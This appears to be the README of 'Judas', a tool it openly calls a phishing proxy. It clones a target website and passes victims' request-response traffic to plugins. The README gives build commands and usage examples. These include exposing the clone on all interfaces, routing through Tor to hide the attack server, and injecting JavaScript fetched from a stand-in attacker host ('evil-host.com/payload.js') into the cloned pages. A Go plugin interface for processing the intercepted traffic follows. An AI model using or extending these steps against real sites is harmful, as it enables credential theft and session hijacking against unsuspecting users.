Judas is a phishing proxy. It can clone a website passed to it using command line flags.
To build Judas, first, get the dependencies:
go get golang.org/x/net/proxy
go get github.com/PuerkitoBio/goquery
go build -o judas *.go
Next, build the logging plugin if you want to see responses on the console.
go build -buildmode=plugin -o loggingplugin.so bundled/loggingplugin.go
To add other plugins, simply place the .so files into the same directory as the judas executable.
The target --target flag is required.
By default, Judas requires a path to a SSL certificate (--cert) and a SSL private key (--private-key).
If you want to listen using HTTP, pass the --insecure flag.
Example:
./judas --target https://target-url.com --cert server.crt --private-key server.key
./judas --target https://target-url.com --insecure
It can optionally use an upstream proxy with the --proxy argument to proxy Tor websites or hide the attack server from the target.
Example:
./judas --target https://torwebsite.onion --cert server.crt --private-key server.key --proxy localhost:9150
By default, Judas listens on localhost:8080.
To change this, use the --address argument.
Example:
./judas --target https://target-url.com --cert server.crt --private-key server.key --address=0.0.0.0:8080
Judas can also inject custom JavaScript into requests by passing a URL to a JS file with the --inject-js argument.
Example:
./judas --target https://target-url.com --cert server.crt --private-key server.key --inject-js https://evil-host.com/payload.js
To create your own plugin, simply create a Go plugin using the standard library plugin package (https://golang.org/pkg/plugin/).
Judas looks for the following symbols:
var Plugin plugins.Plugin
Your plugins must implement the Plugin interface found in github.com/joncooperworks/judas/plugins.
// Plugin contains functions and variables that Judas will be looking for in your plugin.
// Plugins will be loaded from any .so file in the same directory as the judas executable.
type Plugin interface {
// Name of the plugin.
Name() string
// Initialize is where you should do your plugin's setup, like defining command line flags.
// You are allowed to return a PluginArguments of arguments that will be passed to your ProcessTransactions function.
Initialize() (PluginArguments, error)
// ProcessTransactions takes a chan that produces request - response pair and does something.
// Judas plugins should implement this function to process request - response pairs as they are generated.
// Requests and responses will be passed by value, allowing each plugin to run in its own goroutine.
ProcessTransactions(<-chan HTTPTransaction, PluginArguments)
